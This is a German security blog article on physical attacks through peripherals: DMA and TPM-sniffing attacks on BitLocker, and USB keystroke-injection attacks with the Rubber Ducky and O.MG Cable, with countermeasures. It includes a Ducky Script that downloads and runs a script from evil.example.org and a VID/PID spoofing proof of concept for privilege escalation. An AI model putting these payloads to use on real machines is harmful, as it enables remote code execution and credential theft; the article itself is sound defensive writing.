Angriffe über Peripheriegeräte - Kompromiss zwischen Sicherheit und Benutzbarkeit

Angriffe über Peripheriegeräte

Kompromiss zwischen Sicherheit und Benutzbarkeit

Michael Schneider
von Michael Schneider
am 09. Dezember 2021
Lesezeit: 12 Minuten

Keypoints

So kriegen Sie Peripheriegeräte in den Griff

  • Festplattenverschlüsselung und Verwaltung von Peripheriegeräten werden zum Schutz der Vertraulichkeit der Daten und Integrität des Systems eingesetzt
  • DMA- und Sniffing-Angriffe sind möglich wenn eine Festplattenverschlüsselung ohne zusätzliche Authentisierung eingesetzt wird
  • Über USB-Geräte können Tastenanschläge eingeschleust und Befehle ausgeführt werden
  • Die Imitierung von bestimmten Geräten ermöglicht eine Local-Privilege-Escalation-Attacke über das Treiber-Setup
  • Der Kompromiss zwischen Sicherheit und Benutzerbarkeit sollte anhand des Bedrohungsmodells angepasst werden

Die Festplattenverschlüsselung ist eine Massnahme gegen unerlaubten physischen Zugriff auf ein Gerät. Damit soll die Vertraulichkeit der Daten und die Integrität des Systems sichergestellt werden. Zusätzlich wird über die Geräteverwaltung kontrolliert, welche Peripheriegeräte verwendet werden dürfen. Diese Absicherung führt zur Einschränkung der Funktionalität und erfordert die Akzeptanz der Anwender, was zu einem Kompromiss zwischen Sicherheit und Benutzerbarkeit führt.

Die Abwägung zwischen Sicherheit und Benutzbarkeit ist abhängig vom Bedrohungsmodell (Threat Model). In einem Bedrohungsmodell wird unter anderem eine Annahme zur Fähigkeit und Motivation der Angreifer getroffen. Die Angriffsszenarien in diesem Artikel basieren auf Angreifer mit fortgeschrittenen Fähigkeiten und der Motivation physische Angriffe durchzuführen, sei es ein Gerät zu stehlen oder in ein Gebäude einzudringen um auf Geräte zuzugreifen oder Hardware zu platzieren.

Angriffe gegen Festplattenverschlüsselung

Die vollständige Verschlüsselung der Festplatte schützt Daten davor ausgelesen oder manipuliert zu werden. Dies wird als Verschlüsselung im Ruhezustand (Encryption at Rest) bezeichnet. Beim Starten des Geräts ist ein Schlüssel erforderlich, um die Festplatte entschlüsseln zu können. Bei Microsoft BitLocker wird der Schlüssel BitLocker Encryption Key im Trusted Platform Module (TPM) des Geräts abgelegt. In der Standardkonfiguration von BitLocker wird beim Start der Schlüssel aus dem TPM ausgelesen, in den Speicher geladen und das System bis zur Anmeldemaske gestartet, ohne dass eine weitere Form der Authentisierung notwendig ist. Dies eröffnet Angriffe gegen die Festplattenverschlüsselung.

DMA-Angriffe

Ein Direct-Memory-Access-Angriff (DMA) ist ein Seitenkanalangriff, bei dem Angreifer eine High-Speed-Schnittstelle mit direktem Zugriff auf den Systemspeicher als Angriffsvektor missbrauchen. Zu solchen Schnittstellen gehören FireWire, Thunderbolt und PCI Express. Durch den direkten Zugriff auf den Systemspeicher können die Schutzmechanismen des Betriebssystems umgangen werden.

Wenn ein System mit Festplattenverschlüsselung ohne Pre-Boot-Authentisierung gestartet werden kann, können mittels DMA-Angriffe Geheimnisse wie Schlüssel oder Passwörter aus dem Systemspeicher ausgelesen oder das System im laufenden Betrieb manipuliert werden. Seit Jahren dient das von Ulf Frisk entwickelte Tool PCILeech als “Standardwerkzeug” für solche Attacken. Im Artikel Practical DMA Attack on Windows 10 beschreibt Jean-Christophe Delaunay wie mit PCILeech die Anmeldemaske im Speicher manipuliert wurde, dass der Systemzugriff mit einem beliebigen Passwort und dem lokalen Administratoraccount möglich war.

Durch die Einführung von Input-Output Memory Management Units (IOMMU), wie beispielsweise Intel Virtualization Technology for Directed I/O (Intel VT-d), können DMA-Attacken abgewehrt werden. Die Verwendung von IOMMU ist standardmässig in macOS aktiv und kann bei Windows durch das Aktivieren von Virtualization-Based-Security-Funktionen (VBS) genutzt werden.

Sniffing-Angriffe

Ohne eine Pre-Boot-Authentisierung wird der Schlüssel im Startprozedere aus dem TPM ausgelesen und an den Boot Loader übergeben, damit die Festplatte entschlüsselt werden kann. Diese Kommunikation findet über das Serial Peripheral Interface (SPI) statt. Angreifer können sich mit dem TPM-Chip auf dem Gerät verbinden, dabei den SPI-Bus abhören und so den Schlüssel auslesen. Dazu ist fundiertes Wissen über den Aufbau des jeweiligen Geräts und genügend Zeit zur Durchführung des Angriffs notwendig. In den drei Artikeln Sniff, There Leaks my BitLocker Key, From Stolen Laptop to Inside the Company Network und Break into this CEO’s laptop werden solche Angriffe detailliert beschrieben.

Gegenmassnahmen

Eine Massnahme gegen DMA-Angriffe ist die Nutzung von IOMM Units. Diese Funktionalität muss im BIOS/UEFI aktiviert werden. Als weitere Massnahme sollte der Zugriff auf das BIOS/UEFI geschützt werden, damit Sicherheitsfunktionen nicht deaktiviert werden können. Bei Windows muss dazu die Funktion VBS und die Einstellung Secure Boot with DMA aktiviert werden. Zudem sollte über die Gruppenrichtlinieneinstellungen Prevent installation of devices that match any of these device IDs sowie Prevent installation of devices using drivers that match these device setup classes die Nutzung von Schnittstellen wie FireWire und Thunderbold unterbunden werden. Microsoft beschreibt die Konfiguration der Einstellungen unter dem Artikel Blocking the SBP-2 driver and Thunderbolt controllers to reduce 1394 DMA and Thunderbolt DMA threats to BitLocker. Je nach Hardware-Unterstützung kann zusätzlich die Funktion Kernel DMA Protection genutzt werden.

Damit Sniffing-Angriffe verhindert werden können, muss eine Pre-Boot-Authentisierung vor der Entschlüsselung der Festplatte stattfinden. Bei BitLocker beschreibt Microsoft die Gegenmassnahmen im Artikel BitLocker Countermeasures. Die Gruppenrichtlinieneinstellung BitLocker Drive Encryption\Operating System Drives\Require additional authentication at startup muss auf einen der folgenden Werte gesetzt werden:

Wenn eine PIN verwendet wird, sollte die Einstellung Allow enhanced PINs for startup ebenso genutzt werden. Danach wird der BitLocker-Schlüssel im TPM erst nach der erfolgreichen Authentisierung freigegeben und es ist nicht möglich einen Sniffing-Angriff ohne die PIN durchzuführen.

Zur Überprüfung der Hardening-Einstellungen kann unser PowerShell-Skript HardeningKitty eingesetzt werden.

USB-Angriffe

Über USB 2 und USB 3 sind keine DMA-Angriffe möglich. Die USB-Schnittstelle ist dennoch ein populäres Angriffsziel, auch in Kombination mit Social-Engineering-Angriffen. In der TV-Serie Mr Robot erhält die Figur Angela Moss ein USB Rubber Ducky mit der Anweisung dieses an ein System anzuschliessen, um an die Zugangsdaten der Zielperson zu gelangen. Der Angriff wird ausführlich im Artikel 15 Second Password Hack, Mr Robot Style beschrieben. Das USB Rubber Ducky meldet sich als Human Interface Device (HID) an, ein Eingabeberät wie eine Tastatur oder Maus, und kann daher Tastenabfolgen einspeisen. Damit wird ein Eingabeaufforderungsfenster mit administrativen Rechten geöffnet, das Tool Invoke-Mimikatz ausgeführt und die Zugangsdaten extrahiert. Damit dieser Angriff erfolgreich ist, muss jedoch ein Benutzer mit entsprechenden Berechtigungen angemeldet sein.

Rubber Ducky

Neben USB Rubber Ducky kann auch ein Teensy USB Development Board für solche Angriffe verwendet werden. Das Teensy wird mit der Entwicklungsumgebung Teensyduino programmiert. Mit dem USB Rubber Ducky wurde im Jahr 2010 auch die Sprache Ducky Script erfunden, welche die Programmierung von solchen Attacken vereinfacht und eine einfach lesbare Syntax hat.

Mit dem folgenden Ducky-Script-Beispiel kann über PowerShell ein Skript aus dem Internet geladen und ausgeführt werden. Dazu muss das Rubber Ducky nur mit dem Computer verbunden werden, der weitere Vorgang wird automatisch durchgeführt.

DELAY 3000
GUI r
DELAY 100 
STRING powershell.exe
ENTER
DELAY 100
STRING $Response = Invoke-WebRequest -Uri evil.example.org/script.txt
ENTER
DELAY 200
STRING Invoke-Expression($Response.Content)
ENTER

Mit Ducky Script werden sämtliche Tastenabfolgen programmiert, mit GUI r wird der Prompt Ausführen aufgerufen und danach die PowerShell Shell gestartet und die Befehle zum Herunterladen und Starten des Skripts ausgeführt.

O.MG Cable

Das O.MG Cable von MG ist ein anderes Gerät für USB-Angriffe. Das Kabel gibt es als Varianten USB-C zu USB-A oder USB-C zu Apple Lightning und die Kabel sind kaum vom Original zu unterscheiden. Im Kabel integriert ist ein Wi-Fi-Chip, sodass das O.MG Cable einen eigenen Access Point starten oder sich in ein vordefiniertes WLAN einwählen kann. Danach kann ein Angreifer auf das Frontend zugreifen und in einem Script Editor live Befehle ausführen.

Ein möglicher Angriff wäre das Kabel in einem Büro zu platzieren und darauf zu warten, bis dies jemand an sein Gerät anschliesst. Danach startet der Access Point und Angreifer in Funkreichweite können mit dem Gerät über das Kabel interagieren. Es ist auch möglich analog des Rubber Duckys eine Payload beim Einstecken des Geräts auszuführen.

In dem Twitter-Post Windows escalation with an OMG cable: from Guest account to System user wird demonstriert, wie ein Setupprogramm eines Geräts der Firma Razer missbraucht werden kann, um lokale Systemrechte auf einem System zu erlangen. Dabei wird vorgegeben, dass ein Razer-Produkt mit dem Computer verbunden wurde und über Windows Update wird ein erweitertes Setup mit Systemrechten gestartet. Im Verlauf des Setupdialogs kann danach ein Kommandoeingabefenster geöffnet werden und der Angreifer erlangt Systemrechte.

Das O.MG Cable verfügt über eine erweiterte Version von Ducky Script, welche die Definition von Vendor ID (VID) und Product ID (PID) erlaubt. Damit kann jedes beliebige USB-Gerät imitiert werden. Das Betriebssystem erkennt anhand der Vendor ID und der Product ID um welches Gerät es sich handelt. Als Proof-of-Concept-Skript sieht dies wie folgt aus:

VID 1532
PID 0073
DELAY 30000
SPACE

Mittel VID und PID wird das USB-Gerät spezifiziert und die Befehle DELAY und SPACE sind dazu da, um nach Ablauf der Wartezeit eine Aktion durchzuführen, als wäre das Gerät aktiv. Windows erkennt, dass ein neues Gerät verbunden wurde und versucht die passenden Treiber zu installieren. Gerätehersteller haben die Möglichkeit neben Treiber auch ein erweitertes Setup auszuführen. Die Funktion wird von Microsoft als Device-Specific Co-installer bezeichnet. Wenn nun Hersteller das Setup, wie im Falle von Razer, mit Systemrechten starten und es Angreifer ermöglichen aus dem Installationsdialog abzuspringen, ist eine Privilege-Escalation-Schwachstelle möglich.

Mit dem USB Rubber Ducky ist es ebenfalls möglich andere USB-Geräte zu imitieren. Dazu muss eine Datei namens vidpid.bin in der Dateistruktur des Rubber Ducky angelegt werden und VID und PID enthalten. Diese Datei kann beispielsweise mit folgendem Befehl erstellt werden:

perl -e 'print pack "H*", "15320073"' > /path/to/sdcard/vidpid.bin

Mit Durchprobieren von VID- und PID-Kombinationen kann in anderen Treiberinstallationen auch nach Schwachstellen gesucht werden. Der Schwachstellenanalyst Will Dormann hat dies ausprobiert und in einem Twitter-Thread dokumentiert.

Gegenmassnahmen

Grundsätzlich können USB-Geräte über eine USB Geräteverwaltung erlaubt oder blockiert werden. Da bei USB-Angriffen jedoch HID-Geräte verwendet werden und diese in der Regel nicht blockiert werden, ist diese Massnahme nicht wirksam. Flankierende Massnahmen sind das Einschränken von Anwendungen mittels Application-Control-Lösungen und das Betreiben von PowerShell im Constrained Language Mode. Um den Angriff zu erkennen, müssen andere Kontrollen eingesetzt werden, wie die Überwachung PowerShell und die Korrelation von Ereignissen, beispielsweise die Erkennung der Verwendung einer neuen Hardware und die anschliessende Ausführung von Befehlen und Netzwerk-/Internetzugriff.

Als Workaround kann die Verwendung von Co-Installer durch den Registry-Schlüssel HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Device Installer\DisableCoInstallers deaktiviert werden, die Einstellung DisableCoInstallers sollte auf den Wert 1 gesetzt werden. Diese Einstellung kann die Nutzung von neuer Hardware beeinträchtigen und je nach Gerät kann dieses nicht korrekt installiert werden. Die Schwachstelle muss jedoch von Microsoft und den jeweiligen Geräteherstellern behoben werden, es sollte nicht möglich sein, dass interaktive Setupdialoge mit Systemrechten ausgeführt werden, wenn ein Benutzer über keine Administratorenrechte verfügt.

Fazit

Die Verwendung einer Festplattenverschlüsselung ohne zusätzlichen Authentisierung ist anfällig gegen DMA- und Sniffing-Angriffe. Es reicht nicht aus die Festplattenverschlüsselung zu aktivieren und aus Bedienungsfreundlichkeit auf eine Pre-Boot-Authentisierung zu verzichten. Das gleiche gilt für die USB-Schnittstelle, nur eine Geräteverwaltung und Deaktivieren von bestimmten Gerätetypen, wie Ethernet- oder Wi-Fi-Adapter, reichen nicht um alle Angriffe zu blocken. Wenn Angreifer physischen Zugriff auf die Geräte haben, sind weitere Massnahmen notwendig, die einen Einfluss auf die Benutzbarkeit des Geräts haben. Hierbei handelt es sich um das klassische Dilemma beim Kompromiss zwischen Sicherheit und Bedienbarkeit. Je nach Bedrohungsmodell sollte die Waagschale klar zur Seite der Sicherheit kippen.

Über den Autor

Michael Schneider

Michael Schneider arbeitet seit dem Jahr 2000 in der IT. Im Jahr 2010 hat er sich auf die Informationssicherheit spezialisiert. Zu seinen Aufgaben gehören das Penetration Testing, Hardening und das Aufspüren von Schwachstellen in Betriebssystemen. Er ist bekannt für eine Vielzahl in PowerShell geschriebener Tools zum Finden, Ausnutzen und Beheben von Schwachstellen. (ORCID 0000-0003-0772-9761)

Links

Werden auch Ihre Daten im Darknet gehandelt?

Wir führen gerne für Sie ein Monitoring des Digitalen Untergrunds durch!

×
Network Time Security

Network Time Security

Michael Schneider

Web-Proxy mit Kerberos

Web-Proxy mit Kerberos

Michael Schneider

Forced Authentication

Forced Authentication

Michael Schneider

Network Provider

Network Provider

Michael Schneider

Sie wollen mehr?

Weitere Artikel im Archiv

Sie brauchen Unterstützung bei einem solchen Projekt?

Unsere Spezialisten kontaktieren Sie gern!

Sie wollen mehr?

Weitere Artikel im Archiv